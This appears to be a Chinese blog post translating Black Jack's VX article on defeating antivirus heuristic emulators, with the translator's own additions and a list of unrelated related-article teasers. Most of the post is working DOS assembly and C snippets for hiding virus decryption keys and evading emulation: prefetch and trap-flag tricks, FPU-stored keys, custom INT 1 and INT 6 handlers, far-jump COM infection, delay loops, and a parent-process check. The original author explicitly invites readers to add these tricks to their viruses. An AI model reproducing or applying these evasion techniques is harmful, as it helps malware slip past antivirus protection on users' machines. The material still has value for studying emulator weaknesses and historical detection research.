对抗启发式代码仿真检测技术分析

【网络安全防御 防御病毒与密码浅学】 恶意软件是指在未明确提示用户或未经用户许可的情况下,在用户计算机或其他终端上安装运行,侵犯用户合法权益的软件。恶意软件不仅会影响受感染的电脑或设备,还可能会影响与受感染设备通信的其他设备。恶意软件能够以多种途径感染计算机和设备,并且表现出多种形式,有些形式包括病毒、蠕虫、木马、间谍软件等。所有用户均了解如何识别和防范各种形式的恶意软件很重要。高级持续性威胁(Advanced Persistent Threat,APT),又叫高级长期威胁,是一种复杂的、持续的网络攻击,包含三个要素:高级、长期、威胁。 阅读详情
作者   : nEINEI
        邮箱   : neineit@gmail.com
        完成于 :08-05-06

            
    最近在研究病毒的检测技术,虽然在这个木马、流氓件猖獗的年代,检测技术(除了考虑效率因素外)已经变得不是十分重要了。但俺仍然出于兴趣想从这里面寻找些思路。或许对抗技术的本身并不在于谁彻底打败了谁,而在于彼此间共同进步。在查阅资料中发现了这篇文章(Anti heuristic techniques  author:Black Jack ),虽然是比较古老的,但还是可以从中获得很多新的思路。翻译的比较粗糙,如有不正确或不准确的地方还望大家指正,后面我会继续谈些对抗仿真技术的策略。译文如下:          
            
简介
   在早些年的日子里,杀毒软件通过对病毒的特征码搜索是完全可以检测出病毒的。但随着病毒数量的快速增涨,反病毒研究人员发明了一些启发式的病毒检测方法,并把它应用到工作中。代码仿真的启发式扫描器会像虚拟机一样运行程序的代码,并在此环境下检测程序是否具有病毒的相似行为。
  
    所以在理论上,这样的启发式扫描可以发现任何一种新的病毒。但仅仅是理论上,因为代码仿真不可能达到对真实CUP的100%模拟,所以该技术并不能毫无遗漏的检测出每一个病毒。由此可见,在VX社区中,寻找启发式引擎的缺陷和利用它们就成了我们的目标和责任。我所要谈的就是如何利用不同的手段欺骗并愚弄这些启发式引擎,使我们最新创造的那些无形的邪恶的程序不被启发式引擎所找到及清除。  
   这是我认为在病毒的编程领域里最有趣的事情(因为始终是有一种伟大的感觉,那就是你比你的敌人更聪明; -) ).以下是我在过去的日子里关于这方面的研究成果。

了解你的对手
    如果你想研究Anti heuristic技术,第一件事就是你需要一个具有启发式功能的扫描器来检测你编写的创作(virus),我建议你尽量多的找些这样的扫描器。因为每一启发式的扫描器都有自己的强项及弱点。我给你一个简单的扫描器列表,我将使用这些来进行测试。

    .Thunderbyte Antivirus ( http://www.thunderbyte.com) 在早期,这被认为是最好的扫描器了,但现在,在vxer的眼中它已经被认是很一般的了,至少在"启发式检测"(其实仅是特定的字符串描)方面如此。但在其它方面它附带了很多实用的扫描器(checksummer, cleaner, memory resident utilities...)。顺便说一下,每个人都会有自己喜欢的不同版本,我建议您使用7.xx这一版本。因为这个版本可以让您制定您自己的扫描方式,这一点很重要,如果你自己不小心感染了自己的机器。

    .F-prot ( http://www.datafellows.com) 这个是不算太坏的,虽然还有很多更好的。有趣的是,比起现在最后的一个版本在启发式方面有了更好的改进。所有我建议您使用V2.2.8版或像我一样使用V2.2.7版来测试你的病毒。另外有趣的特点是这款扫描器,支持使用可疑扫描的命令行参数方式执行。如果您使用它,将进入一个智能的扫描模式。基于这样的原因,你知道开启可疑检测模式并不是必需的,如果你这样做了,你会知道你的anti-heuristic 技术实在是太好用了。

  .AVP ( http://www.avp.ch):在我认为最好的启发式扫描器当中,确实是难于欺骗的一个。我是用的版本是version 3.0 build 128
  .NOD ( http://www.eset.sk): 像AVP一样的优秀。
  .Dr. Web ( http://www.dials.ru): 这也是非常好的启发式扫描器,那些俄罗斯人知道如何取得更好的Anti Virus效果。
  .Dr Solomon's ( http://www.drsolomon.com):从我一个在NAI工作的一个朋友那里知道,这是一款中高质量的扫描器,但它的效果仍优于mcafee。
  .Ikarus Antivirus ( http://www.ikarus.at):一个中等品质的扫描器,我使用它,是出于爱国的原因。

重要的思路
   我的所有欺骗手段,都是基于同样的思路的:那就是病毒是加密的,我们要在扫描器能解密出病毒体前停止仿真代码的执行,或者在扫描过程中隐藏我们的加密密钥。如果你仍然没有使用加密的方式,密钥隐藏手段也是可以使用的,在“加密”的调用方式中(例如,int 21h 中断的值),例如这样打开一个文件的操作,虽然我没有测试过这种方式。
   mov ax, 3D02h        ;0x3D02 是密钥
   add ax, key
   int 21h
  
1 通过指令预取反跟踪技术:

    早期的处理器,像386或者486都使用了指令队列预期(PIQ)技术来提高代码执行效率。这一技术的本质是,当CPU将要执行一条指令时,它已经将该指令预先读到了CPU的cache中了。所以在此之前的修改对CPU来说已经没有影响了。让我看一个这样的例子:
  mov word ptr cs:[offset piq], 20CDh
  piq:
  nop
  nop
  
    你应该会想到这个程序将结束运行,因为两个字节的nop 指令会被覆盖为 int 20h(译者注:int 20h 是返回DOS的指令)。但在386或486的机器上去并非如此,因为nop指令已经在cpu的cache中了。但在Pentium/Pentium II 体系的机器中运行时,指令则会被覆盖,程序执行后退出。
  
    如果你想利用这一特性来对抗启发式检测技术的话,你就必须知道在386/486年代这是一种广泛的对抗启发式检测的手段。但是随着AVs的改进,他们已经加入了对指令预期技术的支持。这是不是件很不可思议的事情,他们仿真的东西竟是不存于现在的处理器当中的。让我们再看看上面的例子,这是我们用来对付他们的,在 pentium 或者更高级别的处理上面,像我所说的那样,程序会终止,因为这些处理器没有使用PIQ技术。但大部分的AVs会继续让代码执行那两个nops,因为他们要仿真PIQ。所有这块我们这样做:
  
    mov word ptr [offset prefetch], 06C7h
    prefetch:
    int 20h
    dw offset decrypt_key
    dw key
      
    int 20h 指令将被覆盖,替换它的将是下面的指令
    mov word ptr [decrypt_key], key

    基于对PIQ的考虑,AVs将终止程序的执行。但实际上我们的程序将继续运行,在我们的加密处理函数中设置密钥。我们仅存在一个问题,那就是我们的代码要运行在Pentiums或更高级别的处理器上面。为了使之兼容486系列或更低一些处理器,我们只需清除掉PIQ之间的两条指令。

    没有什么比这更简单的了!当然,你也要知道清除所有jump类指令(jmp, call, loop, int...)之间的PIQ(这一点是必需的,如果你想这样做的话)。但是我们不能简单的处理JMP Short $+2之间的指令,对于清除PIQ来说它应该是正常被执行的,因为代码仿真器是会察觉到这一点的。

    但是我们可以使用一个特殊的功能,CPU的陷阱标志。如果这个标志被置位,那么其后的任何指令执行都将触发int 1 的中断调用,记住这样会清除PIQ。这通常是在的调试状态下,1号中断向量只是简单的 IRET,所以我们可以使用没有任何问题。无论如何,执行后再次清除陷阱标志都是个很好的主意。下面展示的代码可以运行在任何处理器上(assumes DS = CS)。
  
                  pushf                                   ;flags on the stack
        pop ax                                  ;flags from stack into AX
        or ax, 100000000b                       ;set trap flag
        push ax                                 ;put the modified flags in AX back...
        popf                                    ;into the flag register via the stack
            
        mov word ptr [offset prefetch], 06C7h   ;modify the following instruction
        prefetch:                               ;here gets int1 called => clears PIQ
        int 20h                                 ;This is never executed
        dw offset decrypt_key                   ;where we want to write our key to
        dw key                                  ;the actual decryption key
        
        pushf                                   ;clear the trap flag again with
        pop ax                                  ;the same method as above.
        xor ax, 100000000b                      ;will also fool some debuggers
        push ax
        popf
        
        mov word ptr [offset prefetch], 20CDh   ;restore the int20h (next generations)
    这种方式可以骗过 AVP, Dr. Web, f-prot v3.04 (even with the /PARANOID flag),但不能通过f-prot v2.27, Nod, Ikarus and Dr. Solomon's. f-prot v2.27 and Ikarus的检测。另一方面我们也可以欺骗”正常的“使用PIQ手段(当然你要记得,这并不能运行于现在的处理器上)。
    
2 通过FPU 的手段:

    我非常喜欢用欺骗方式,因为相对于大多数的有效手段来说,这种方式是非常简单。它可以愚弄*ALL*所有的扫描器。你仅需要考虑的一件事情就是启发式扫描器不能仿真浮点指令。很明显,AVs考虑的是病毒程序运行是不需要FPU指令的。好了,让我们证明他们的想法是错误的。我们将要做的是,在加密完成后,通过浮点数来转换密钥,解密时再将它转换成整数。
  
         ; AFTER ENCRYPTION:
    mov decrypt_key, key                    ;save key into integer variable
    fild decrypt_key                        ;load integer key into FPU and store
    fstp decrypt_float_key                  ;it back as floating point number
    mov decrypt_key, 0                      ;destroy the key (very important!)
    
    ; BEFORE DECRYPTION:
    fld decrypt_float_key                   ;load the key as floating point number
  
  正向我前面所说的,这一手段非常容易且极端有效,但如果你使用它,也要考虑到运行系统的要求。如果你的virus运行在没有FPU的系统上时,他将崩溃。
  
  
3 通过INT 1 的手段 :
  
    前文已经提到,如果CPU的陷阱标志被设置,那么任何指令执行后,int 1 中断都会被调用。 我也可以通过手工的调用的int 1 中断来达到我们的目的。int 1中断的反汇编代码通常是0CDh/001h,自从有了一个专用opcode来表示int1(0F1h)中断后,这样反而是非常奇怪的,尽管这是未公开文档化的。但是"not documented"的意思也应该是"not emulated by AVs", ^_^ 。所有我们将这样做:我们设置一个我们自己的INT 1 中断的handler,同时调用”not doumented“ 的opcode 0F1h,返回解密密钥 。AVs 将没有办法知道解密密钥是什么。
  
         mov ax, 3501h                   ;get int vector 1, so we can restore it later
         int 21h                         ;not really necessary, but a little bit saver
    mov int1_segm, es
    mov int1_offs, bx
    
    mov ax, 2501h                   ;set int vector 1 to our own routine
    mov dx, offset int1_handler     ;we assume DS=CS
    int 21h
    
    db 0F1h                         ;this will call our int 1 handler, which
    mov decrypt_key, ax             ;returns the decryption key
    
    mov ax, 2501h                   ;restore the original int 1 handler
    mov dx, cs:int1_offs
    mov ds, cs:int1_segm
    int 21h
    
    [...]
    
    int1_handler:
    mov ax, key
    iret
    
     另外一件好笑的事是,我们可以伪造程序退出,可以这样做:
   [...]

    db 0F1h                         ;calls our int 1 handler (see above);
    mov ax, 4c00h                   ;quit program
    int 21h                         ;but... this code is never reached... ;-)
    
    [...]
    
    int1_handler:
    mov bx, sp                      ;modify return address, so the quit command
    add word ptr ss:[bx], 5         ;is never executed.
    iret
    
     这是非常有效的一种手段,在我的测试中仅F-PORT  v2.27 /PARANOID 能检测出了它,尽管它只能运行在intel的CPU上。在Cyrix 或者 AMD 处理器上是不能使用这中方法的。因此你virus如果运行则将崩溃。:- (如果你想看一下的病毒情况,你可以查找我写 PR.H! virus)
    
4 通过INT 6 的手段:
    
    cpu 如果发现无效指令运行则int 6h 中断总是会被调用的。这个方法非常相似于INT 1 中断的手段。我们设置一个INT 6h中断的handler,然后执行一个条我们故意使用的无效指令,同时返回解密密钥。如果我们不想陷入无穷尽的循环当中,就要修改返回时的偏移。
             mov ax, 3506h                   ;get int vector 6, so we can restore it later
        int 21h                         ;not really necessary, but a little bit saver
        mov int6_segm, es
        mov int6_offs, bx
        
        mov ax, 2506h                   ;set int vector 6 to our own routine
        mov dx, offset int6_handler
        int 21h
        
        dw 0FFFFh                       ;an invalid opcode, will call our int 6
        mov decrypt_key, ax             ;handler, which returns the decryption key
        
        mov ax, 2506h                   ;restore the original int 6 handler
        mov dx, cs:int6_offs
        mov ds, cs:int6_segm
        int 21h
        
        [...]
        
        int6_handler:
        mov ax, key
        mov bx, sp
        add word ptr ss:[bx], 2         ;modify return address - very important!
                                                                        ;2 is the size of our invalid opcode.
        iret
        
     请记住,这一方式并不能工作在window系统下的dos窗口程序中,因为window会率先截获一个无效的opcode,并给出错误消息(thanks to Z0MBiE for that tip)。所以如果你想使你的DOS virus兼容window,那么不要用此方法,尽管破坏引导区的virus实在是很美妙的。
        
5 感染COM文件及FAR JUMP方式:
        
    我不喜欢delta offsets方式,所有我开始尝试用far jump方式来感染com文件(当然,还是要加上些代码用来重定位的):

        mov ax, cs                      ;Relocate far Jump
        add [offset com_seg], ax
        JMP SHORT $+2                   ;Clear prefetch queue
        db 0EAh                         ;OP-Code far Jump
        dw offset start                 ;Offset
        com_seg dw 0                    ;Segment (length of com file in paragraphs)
                                                                             ;pad filesize to even paragraph!
                                                                        
     这段代码可以非常稳定地运行,我很惊讶,这种感染方式可以阻止AVP和Tbscan的来发现文件已被感染的检测方式。如果想看全部的virus欺骗技巧,再一次提醒您,可以查找我写 PR.H!- virus。
        
6 初始化寄存器方式:
    
    大多是DOS版本的系统,在程序开始时的寄存器值是下面这样的:
            
        AX=BX=0000h (if the first/second command line parameter contain a illegal
        drive letter, AL/AH are set to 0FFh)
        CX=00FFh
        DX=DS=ES=PSP segment address
        SI=IP
        DI=SP
        BP=91Ch/912h depending on DOS/Windows version.
        
    如果你知道这些,你就可以利用这些值来加密你的virus了---- 一些AVs并不能正确的仿真这些值,因为这些大部分是undocumented。例如,我是用91h(BP shr 4)来加密/解密我的病毒体,可以非常好的欺骗TBAV, DrWeb, f-prot v2.27 and Ikarus这些AVs,但是不能很好的对抗AVP和NOD。

   当然除了BP你还可选择其它寄存器来做这样的事情,保存加密密钥到指向EXE头部的堆栈处指针。例如,设置正确的堆栈在程序开始或解密代码处使用DI,或者在加密/解密处使用cx做异或操作。这些可激发你足够的想象力。但请记住,这些undocumented的技巧并在所有dos版下都一样。例如,freedos则在程序开始时设置所有通用寄存器都为0值。如果你想使用这一技巧,就要有心里准备,你的virus崩溃在这些系统的环境中了。
  
    因此你必选结合起来其它的欺骗方式来对抗所有AVs,正如我刚才所说的,它们不是非常强大,基于这个理由,我并不是非常喜欢这种欺骗方式,但无论如何都要感谢bfr0vrfl0为这一方式所创造的灵感。
        
7 ENDLESS LOOPS:
        
     这是个很古老的手段了。它不同于这篇文章中介绍的其它技术,但当我测试时才惊讶的发现,它非常的棒,可以骗过Thunderbyte, Dr. Web and Ikarus。这一想法的出发点是,那些启发式的扫描器,仅仿真了最开始处的一些指令,然后停止,以此加快扫描速度。因此,我们可以在病毒体开始处设置一个很长的循环,下面是一经典的模式:

        mov cx, 0FFFFh
        loop_head:
        jmp short over_it
        mov ax, 4C00h                   ;actually this isn't needet, but it's the
        int 21h                         ;"classic" implementation of this trick.
        over_it:
        loop loop_head
        
    你还可以使用不同类型的循环,或者像Opic's Odessa-B virus那样的手法,非常长的一个解密循环。
    
    这篇文章所公布的这些anti heuristic 技术目前为止都可以正常运行。当然AVs也可能改进它们的一些不足,在未来使这些方式失效。随时欢迎把这些技巧加入到你virus当中。使它们作为AVs无法检测出的地狱,展示给那些愚蠢的AV看他们所谓的”保护“。(译完)
        
    可以看出此篇文章的作者对AV产品中,初期的启发式技术研究的非常深入,目标明确,知晓启发式检测的很多弱点。怎奈时代变换,多态变形病毒已经产量稀少,启发式技术整体上进步缓慢。上面提及的技术虽然已经不能造成多大危害,但基于代码仿真的启发式检测仍有很多个方面会受到技术上的挑战。
        
1 利用SEH方式:

     虽然启发式的仿真器会模拟SEH异常处理,但解决这一对抗性问题却并非像实现一个SEH识别器那样简单。比如virus在解密的过程中洒下随机代码,建立异常处理,随后迫使处理器出错,进入virus的异常处理函数,进而再跳向另一个解密引擎中执行代码。如果AV不能处理这样的异常,病毒的代码也就无从执行,那么和谈检测呢。最大的问题就是仿真环境无法完美的处理某条指令引发的引发的特定异常。
          
2 慢随机执行方式:

     可以利用任何程序开始执行时的随机数据来决定是否进行解密及感染,随机时间也好,日期也好都行,或者像win95下利用FS:[0ch]指向的TIB数据(在win 9x下该处数据随机)。目的只有一个,即便被模拟运行,也无法使AV得到100%的检测率,这也是我以前曾提到过的,仿真器应该具有指令预分析的功能。
  
3 利用多线程:

    多线程的模拟并非高不可攀,关键的难点在于线程间的同步。这一点上没什么可说,仍然是AV今后要努力解决的问题。
      
4 RDA 方式:

    病毒体解密代码可以不知道加密时的密钥,而是通过RDA(随机解密算法)方式来获得,目的只有一个,真实环境下解密部分可以很快运行完,但仿真环境下却会很慢,暴力搜索密钥算法,可能会产生很多个大循环,以此来迫使仿真器退出执行环境。
    
5 EOP 方式:
    仿真器不会很有耐心地执行完程序的每一条指令,只要你的病毒所在宿主程序入口点足够的靠后,那你就胜利了一半,仿真器会因失去耐心而丢下你不管的。此时我想到了ExitProcess,聪明的你肯定明白了接下来将要干什么了,当然,当你知道这样做的时候,AV已经开始行动了,但关键是我们已经找到了一种对抗的思路了。
  
6 分析执行逻辑方式:
    这一点是从xyzreg那里学到的,考虑到程序真实的运行与仿真环境的差别,也就知道如何对抗了。指令预取反跟踪也属于这一思路的范畴。下面是xyzreg给出的代码:

DWORD fpid,epid;
void VMM()
{
   PROCESSENTRY32 pe;
   HANDLE hkz=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   pe.dwSize=sizeof(PROCESSENTRY32);
   if (Process32First(hkz,&pe))
   {
    do
    {
       if (pe.th32ProcessID==GetCurrentProcessId())
       {
          fpid=pe.th32ParentProcessID;  
       }
      
       if (stricmp(pe.szExeFile,"explorer.exe")==0)
       {
           epid=pe.th32ProcessID;
       }
    }
    while(Process32Next(hkz,&pe));
  }
}
void main()
{
    if(fpid!=epid)
         return 0;
}
    即便是一向作风严谨AVP也会有此疏漏,且在仿真的执行环境中与正常执行相悖的逻辑还有很多处,如GetModuleFileName。所以仿真的启发式检测远没有达到十分完善的地步。
    
    还有一些对抗技巧如利用MMX指令或利用API传递控制等,但因这些技巧本身不会对启发式检测构成绝对威胁此处不再一一举例。启发是虽是对抗virus的利器,但我更感觉越是复杂高级的检测技术反而越加脆弱,脆弱的原因就是太过于复杂,所谓智者千虑必有一失吧。在没有加密、多态病毒出现前,特征匹配技术对待病毒可谓一剑封喉。或许越是简单的技术越是无懈可击。一次偶然间发现NOD可以仅用高级侦测模式,检测出被感染的文件,并精确的给出病毒名。或许启发式检测加适量的特征应该是对抗virus的最好武器吧。
    
附参考文献:
[1] Black Jack . 《Anti heuristic techniques》原文出处 http://vx.netlux.org/lib/vbj01.html
[2] Peter Szor . 《The Art of Computer Virus Research and Defense 》
[3] xyzreg.      《可怜的高级虚拟机启发式查毒》 www.xyzreg.net/blog/read.php?39
恶意软件环境感知与沙箱逃逸技术:Demiguise原理与攻防实战 在计算机安全领域,沙箱是一种重要的动态分析技术,用于在隔离环境中安全执行和观察可疑程序行为,以检测恶意软件。其核心原理是通过虚拟化或容器化技术,创建一个受控的、与真实系统隔离的执行环境,从而在不危害主机的情况下分析软件意图。这项技术的价值在于能够自动化、大规模地筛查恶意代码,是威胁检测体系的关键组成部分,广泛应用于病毒分析、漏洞研究等场景。然而,攻击者为了对抗自动化分析,发展出了环境感知技术,通过检测运行环境的特征(如硬件信息、软件配置、用户交互模式)来判断自身是否处于沙箱中。本文聚焦的Demiguise正 阅读详情

相关推荐

恶意代码检测技术对比:4种主流方案(特征扫描、沙箱、蜜罐、AI)实战解析

本文深入对比了四种主流恶意代码检测技术:特征扫描、沙箱、蜜罐和AI模型,详细解析了各自的技术原理、实战配置及优缺点。通过Python代码示例和性能测试数据,为网络安全从业者提供了构建多层次防御体系的实用方案,特别针对金融等行业的高安全需求场景给出了组合策略建议。

cojm55771的博客 423

对你快速了解恶意软件以及病毒和反病毒

病毒与反病毒

m0_71999868的博客 2355

深入解析C32免杀工具与特征码技术原理及安全影响

在现代反病毒技术体系中,特征码是识别恶意软件最基础也是最关键的手段之一。它不仅是静态分析的核心依据,更是动态行为监控和启发式判断的重要输入来源。随着攻防对抗的不断升级,特征码的形式已从最初的简单字节序列发展为涵盖控制流、API调用链、字符串上下文乃至机器学习评分的复合型结构。深入理解特征码的本质及其生成逻辑,对于逆向工程人员、安全研究人员以及从事免杀开发的技术者而言,具有不可替代的基础性价值。

weixin_42588877的博客 868

技术分享——反病毒技术介绍与发展

简单来说,就是通过EDR安全日志、NDR安全日志以及如边界安全防火墙等安全设备日志进行综合的安全问题分析和识别,持续的检测和评估,并提供有效的监测预警,达到安全防护的效果,避免无效安全日志的轰炸。很多时候,这些字符串是某个病毒所特有的,因此这种方式适用于所有病毒的特征码的提取。在进行可疑病毒文件分析的时候,病毒库的使用需要先加载到内存中,随着病毒的种类越来越多,病毒库也会越来越大,终端本地的庞大的病毒库导致了系统运行越来越慢,虽然解决了终端安全问题,但是带来了其他的可用性问题,这就违背了扫描引擎的初衷。

sangfor_edu的博客 1563

Qt实现全局钩子拦截鼠标键盘消息修改消息

Qt实现全局钩子,拦截鼠标键盘消息,修改消息,在Qt 4.86上编译通过,适合学习,分享快乐,谢谢。

手把手教你玩转Infoseek舆情监测系统:从数据爬取到智能分析实战

别只会监测品牌名!一个有效的监测体系应该包括:// 完整的监测关键词策略brand: ["品牌名", "产品名", "缩写"],executives: ["CEO姓名", "高管姓名"],campaign: ["当前营销活动名称"],competitors: ["竞品A", "竞品B"],industry: ["行业通用关键词"],// 别忘了常见拼写错误和黑称defensive: ["常见的错误拼写", "用户起的黑称"]产品优化:从用户吐槽中发现改进点市场洞察。

2501_93332955的博客 759

第三次作业

恶意软件(Malware)是指在未经授权的情况下,植入或传播到计算机、服务器或其他网络设备中的恶意程序或代码。这些程序或代码的目的通常是破坏计算机系统、窃取敏感信息或利用计算机资源进行非法活动,如勒索软件、木马、病毒、蠕虫等。恶意软件的特征包括:隐蔽性、侵入性、破坏性、传播性、扩散性、自我保护性、自我复制性、自我修改性等。恶意软件可以分为以下几类:病毒、蠕虫、木马、广告软件、恶意工具、勒索软件、间谍软件、银行木马等APT攻击即高级可持续威胁攻击。

cao_bo的博客 598

Skyworks SKY85331-11的Wi-Fi 6 (802.11ax)标准 2.4G 高功率WLAN前端模块解决方案

SKY85331-11是高度集成的2 GHz前端模块(FEM)包含2 GHz单刀双掷(SPDT)发送/接收(T / R)开关,2 GHz低噪声放大器(LNA)带旁路和一个2 GHz功率放大器(PA),用于大功率802.11ax应用程序和系统LNA和PA禁用功能可确保低漏电流 关闭模式。 包括一个集成的功率检测器以提供系统内的闭环功率控制。该设备提供Small (24-pin, 3 x 5 mm) (LGA)封装。 图1.引脚配置和封装如图所示 图2.信号引脚分配和功能引脚描述 图...

zhangbao19890622的博客 4508

启发式测试模型

The Heuristic Test Strategy Model is a set of patterns for designing and choosing tests to perform. The immediate purpose of this model is to remind testers of what to think about during that process. I encourage testers to customize it to fit their own or

FixedStar 的博客 1152

SAP物料分类账实战:从配置到月结的关键步骤(基于S/4HANA1909)

本文详细解析了在SAP S/4HANA 1909系统中,物料分类账从基础配置到月结操作的全流程。作为成本核算的核心,物料分类账通过多级价格确定实现实际成本核算,关键步骤包括激活物料分类账、配置自动过账科目(OBYC)、运行CKMLCP进行差异分摊与结算。文章旨在帮助财务与成本会计人员确保成本差异的准确归集与分摊,顺利完成月结。

weixin_28314575的博客 197

Sony微单相机alpha6000 wifi远程控制(1)

引言 Sony’s Camera Remote API beta SDK allows you to control a number of Sony cameras, including Sony Action cams, Sony Alpha cameras and Lens Style cameras, wirelessly from another device. 索尼于2017年三月Re...

markfuk996的博客 4967

对抗启发式代码仿真检测技术分析收藏

作者   : nEINEI        邮箱   : neineit@gmail.com        完成于 :08-05-06                最 近在研究病毒的检测技术,虽然在这个木马、流氓件猖獗的年代,检测技术(除了考虑效率因素外)已经变得不是十分重要了。但俺仍然出于兴趣想从这里面寻找些 思路。或许对抗技术的本身并不在于谁彻底打败了谁,而在于彼此间共同进

大浪淘沙的专栏 1195

CUDA:实现使用cuSolverSP底层API实现Cholesky因式分解(附完整源码)

CUDA:实现使用cuSolverSP底层API实现Cholesky因式分解(附完整源码)

希望我的博客,能帮上你解决学习中工作中所遇到的问题 347

[zz]对抗启发式代码仿真检测技术分析

http://bbs.sucop.com/forum.php?mod=viewthread&tid=18431&extra=page%3D1&page=1 对抗启发式代码仿真检测技术分析 创建时间:2008-05-06 文章属性:原创 文章提交:nEINEI (neineit_at_gmail.com) 作者 : nEINEI 邮箱...

weixin_33852020的博客 169

使用MATLAB中的Simulink工具来构建一个微电网系统的仿真平台

微电网是指由分布式电源(如太阳能、风能等)、储能装置、负载以及控制和保护装置组成的局部电力系统。它可以独立于主电网运行,也可以与主电网并联运行。本示例将以一个简单的微电网为例,展示如何利用Simulink进行微电网接入与孤岛运行策略的设计与仿真。分布式电源:模拟太阳能光伏板或风力发电机等分布式电源。储能装置:用于存储多余能量或补充不足能量。负载:模拟实际用电需求。双向变流器:实现直流与交流之间的转换,并支持并网和孤岛模式切换。控制器:负责管理微电网的运行模式,包括并网控制和孤岛控制。

xiaoheshang_123的博客 348

[QMT和ptrade量化交易小白入门]-112、小市值热点概念交易策略,回测5年20倍

本专栏主要是介绍QMT和ptrade的基础用法,常见函数,写策略的方法,也会分享一些量化交易的思路,大概会写200篇左右。QMT的相关资料较少,在使用过程中不断的摸索,遇到了一些问题,记录下来和大家一起沟通,共同进步。

木头大左的博客 1083

恶意代码技术及恶意代码检测技术原理与实现

恶意代码(MALWARE)检测技术目前主流的有以下几种:特征码扫描技术、基于签名的扫描技术、启发式扫描技术、沙盒模拟技术、导入表分析技术、以及云查杀技术。恶意代码检测大体分为静态分析和动态分析。静态分析中最为经典的就是,特征码扫描技术是恶意代码检测的基石,其通过检测二进制文件中是否含有恶意代码特征值来判断文件是否存在威胁,特征码扫描技术依赖于海量已知的恶意代码特征,这些特征绝大部分都是人工逆向提取出来含有一定意义的16进制码,也可能是由程序自动提取得到的特征码。

喜欢Python编程的程序员柚柚呀 1143

2026年全国青少年信息素养大赛算法应用主题赛C++样题及答案解析

2026年全国青少年信息素养大赛算法应用主题赛C++样题

王老师青少年编程 3728

恶意代码技术及恶意代码检测技术原理与实现,从零基础到精通,收藏这篇就够了!_恶意代码开发

恶意代码(MALWARE)检测技术目前主流的有以下几种:特征码扫描技术、基于签名的扫描技术、启发式扫描技术、沙盒模拟技术、导入表分析技术、以及云查杀技术。恶意代码检测大体分为静态分析和动态分析。静态分析中最为经典的就是,特征码扫描技术是恶意代码检测的基石,其通过检测二进制文件中是否含有恶意代码特征值来判断文件是否存在威胁,特征码扫描技术依赖于海量已知的恶意代码特征,这些特征绝大部分都是人工逆向提取出来含有一定意义的16进制码,也可能是由程序自动提取得到的特征码。

bdfcfff77fa的博客 1407

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

恶意代码技术及恶意代码检测技术原理与实现,从零基础到精通,收藏这篇就够了!

恶意代码(MALWARE)检测技术目前主流的有以下几种:特征码扫描技术、基于签名的扫描技术、启发式扫描技术、沙盒模拟技术、导入表分析技术、以及云查杀技术。恶意代码检测大体分为静态分析和动态分析。静态分析中最为经典的就是,特征码扫描技术是恶意代码检测的基石,其通过检测二进制文件中是否含有恶意代码特征值来判断文件是否存在威胁,特征码扫描技术依赖于海量已知的恶意代码特征,这些特征绝大部分都是人工逆向提取出来含有一定意义的16进制码,也可能是由程序自动提取得到的特征码。

yy1715713348的博客 1218

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

杀毒软件技术 脱壳、虚拟、启发式介绍

一、杀毒软件引擎与病毒库的关系   其实病毒库与杀毒引擎没有直接的关系,杀毒引擎的任务和功能非常简单,就是对指定的文件或者程序进行判断其是否合法。而病毒库,只不过是对杀毒引擎的一种补充,那个过程,就是杀毒引擎对文件或者程序判断。明白这一点,就应该知道,好的杀毒软件,重要在引擎的优秀,病毒库越大,杀毒速度肯定会降低。因为病毒库杀毒的过程,是引擎把判断能力交给病毒库,用病毒库与指定的文件进行对比判断。

Penlee's Blog 2025

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

上一篇: Yahoo! 助手(3721) ActiveX远程代码执行漏洞
下一篇: 代码逆向乱谈之导引
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值